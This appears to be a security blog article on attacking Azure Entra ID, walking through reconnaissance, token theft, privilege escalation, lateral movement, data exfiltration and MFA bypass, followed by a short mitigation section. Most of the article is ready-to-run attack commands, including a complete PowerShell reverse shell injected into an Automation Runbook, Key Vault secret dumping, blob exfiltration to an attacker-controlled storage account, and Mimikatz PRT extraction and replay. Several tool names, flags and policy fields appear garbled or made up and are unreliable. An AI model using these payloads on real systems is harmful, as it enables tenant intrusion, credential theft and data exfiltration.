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Introduction:
Cloud-native attacks increasingly exploit identity misconfigurations and overprivileged service principals, bypassing traditional perimeter defenses. This article dissects real-world Azure Active Directory (now Entra ID) attack paths—from initial reconnaissance to persistence—using open-source tools like AzurEE, Stormspotter, and ROADtools. You will learn how red teamers simulate adversary behavior and how blue teams can harden Entra ID, storage, and key vaults.
Learning Objectives:
- Execute Azure privilege escalation via compromised service principal credentials and managed identity takeover.
- Detect and mitigate pass-the-PRT, token theft, and application consent grant attacks.
- Deploy Azure Policy and just-in-time (JIT) access to block lateral movement to virtual machines and databases.
You Should Know:
- Enumerating Azure Entra ID with ROADtools & AzurEE
Start by extracting tenant-wide information without authentication, then escalate using harvested refresh tokens.
Step‑by‑step guide:
- Passive reconnaissance – Use `roadrecon` to gather tenant metadata:
pip install roadrecon roadrecon gather --tenant target.onmicrosoft.com roadrecon gui
- Harvest tokens from compromised endpoint (Windows PowerShell as admin):
Dump Azure access tokens from token cache az account get-access-token --resource https://graph.microsoft.com Extract from Web Account Manager (WAM) Import-Module .\TokenTactics.ps1; Get-AzureToken -Client MSGraph
3. AzurEE automated enumeration (Linux):
git clone https://github.com/microsoft/azurEE cd azurEE python3 azure_enum.py -t targetdomain.com -o enum_output.json
4. Crack service principal passwords – If SPN secrets are weak, use `hashcat` mode 27100:
hashcat -m 27100 spn_hash.txt rockyou.txt
- Privilege Escalation via Managed Identity & Automation Accounts
Abuse system-assigned managed identities on Azure VMs or Automation Accounts to obtain Entra ID tokens with higher privileges.
Step‑by‑step guide:
- Gain initial foothold – SSH into a compromised Linux VM with managed identity:
curl 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://graph.microsoft.com' -H 'Metadata:true' -s
2. Use the token with Azure CLI:
az login --identity --username <managed-identity-client-id> az role assignment list --assignee <object-id> --all
3. Automation Account takeover – If a Runbook has Contributor rights over a subscription, inject reverse shell:
PowerShell Runbook code
$client = New-Object System.Net.Sockets.TCPClient("attacker-ip",4444);$stream=$client.GetStream();[byte[]]$bytes=0..65535|%{0};while(($i=$stream.Read($bytes,0,$bytes.Length)) -ne 0){;$data=(New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback=(iex $data 2>&1 | Out-String );$sendback2=$sendback+"PS "+(pwd).Path+"> ";$sendbyte=([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
4. Persist via Automation Account webhook – Create a webhook that triggers the backdoor Runbook daily.
- Lateral Movement: Storage Account Key & Shared Access Signature (SAS) Token Abuse
Compromised storage account keys grant full read/write to blobs, tables, and queues—often overlooked by SOC.
Step‑by‑step guide:
- Extract storage keys from Key Vault (if Contributor):
az keyvault secret list --vault-name victim-vault --query "[].id" -o tsv | xargs -I {} az keyvault secret show --id {} --query "value"
2. Use key to list and exfiltrate blobs:
export AZURE_STORAGE_ACCOUNT=victimstorage export AZURE_STORAGE_KEY="extracted-key" az storage container list --output table az storage blob download-batch --destination ./exfil --source secret-container
3. Generate an unlimited SAS token for backdoor access:
az storage container generate-sas --name secret-container --permissions acdrw --expiry 2026-12-31 --https-only --full-uri
4. Windows defender evasion – Use `AzCopy` with SAS token to move data across tenants:
azcopy copy "https://victim.blob.core.windows.net/secret-container?<SAS_TOKEN>" "https://attacker.blob.core.windows.net/exfil-container?<ATTACKER_SAS>" --recursive
- Bypassing Conditional Access & MFA using PRT Token Theft
Primary Refresh Tokens (PRT) from hybrid-joined devices can be replayed to bypass MFA policies.
Step‑by‑step guide (Windows 10/11):
- Extract PRT from LSASS using Mimikatz (requires admin):
mimikatz.exe "privilege::debug" "token::elevate" "sekurlsa::cloudap" "exit"
2. Replay PRT with ROADtools `roadreplay`:
roadreplay --prt <PRT_BLOB> --tenant target.onmicrosoft.com --resource https://graph.microsoft.com
3. Modify device compliance claim – Use `roadreplay` to spoof compliant device state:
roadreplay --prt-file prt.bin --claims '{"device_trust_type":"AzureAd","compliance_state":"compliant"}'
4. Detection – Monitor Event ID 1213 (Microsoft Authentication Package) and 4624 logons with “Cloud AP” authentication package.
- Mitigation: Azure Policy for Service Principal Hardening & JIT VM Access
Step‑by‑step guide for blue teams:
- Deploy custom Azure Policy to block SPNs with password never expires:
{ "mode": "All", "policyRule": { "if": { "allOf": [ { "field": "type", "equals": "Microsoft.AAD/domainServices/servicePrincipals" }, { "field": "Microsoft.AAD/domainServices/servicePrincipals/passwordCredentials[].endDate", "exists": "false" } ] }, "then": { "effect": "deny" } } }
2. Enforce JIT for virtual machines (Azure CLI):
az vm update --resource-group rg-blue --name prod-vm --set provisioningState=JITEnabled az vm jit-policy set --location eastus --name prod-vm --resource-group rg-blue --max-access 2H
3. Enable diagnostic settings for Entra ID sign-in logs to Log Analytics:
$diagnosticSetting = New-AzDiagnosticSetting -ResourceId /providers/Microsoft.AAD/domainServices/contoso -Name "EntraIDAudit" -WorkspaceId $workspaceId -Enabled $true -Category "SignInLogs","AuditLogs"
4. Harden Key Vault network ACLs – Deny public access and enforce trusted services only:
az keyvault update --name secure-vault --default-action Deny --bypass AzureServices
What Undercode Say:
- Key Takeaway 1: Azure misconfigurations—especially overprivileged managed identities and weak SPN credentials—are the new perimeter. Traditional vulnerability scanners miss these entirely.
- Key Takeaway 2: PRT and token replay attacks render most MFA implementations useless if a device is compromised. Blue teams must implement token binding and continuous access evaluation (CAE).
Analysis: The attack surface in Azure has shifted from network misconfigurations to identity and application permissions. Red teams are now exploiting OAuth consent grants, cross-tenant synchronization, and Azure Automation Runbooks—all of which generate minimal alerts in default Microsoft Defender for Cloud plans. Organizations relying solely on native security tools without conditional access policies, anomaly detection, and periodic service principal audits remain critically exposed. The commands above highlight that lateral movement within a tenant can be fully automated in under 10 minutes after initial foothold. Mitigation requires a zero-trust approach: limit token lifetimes, enforce Azure Policy to block high-risk SPNs, and continuously monitor Entra ID sign-in logs for impossible travel or unusual resource access patterns.
Prediction:
By Q4 2026, cloud identity attacks will surpass traditional ransomware as the primary breach vector, with Azure being the most targeted because of its enterprise adoption. Microsoft will likely introduce mandatory CAE and deprecate legacy token caches. However, misconfigured multi‑tenant apps and third‑party SaaS integrations will become the new supply chain risk—expect regulatory fines for exposed storage account SAS tokens and service principal credentials found in public GitHub repositories. Red teams will shift focus to compromising Azure DevOps pipelines to inject backdoors into production containers, bypassing all runtime detections.
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Reported By: Joas Antonio – Hackers Feeds
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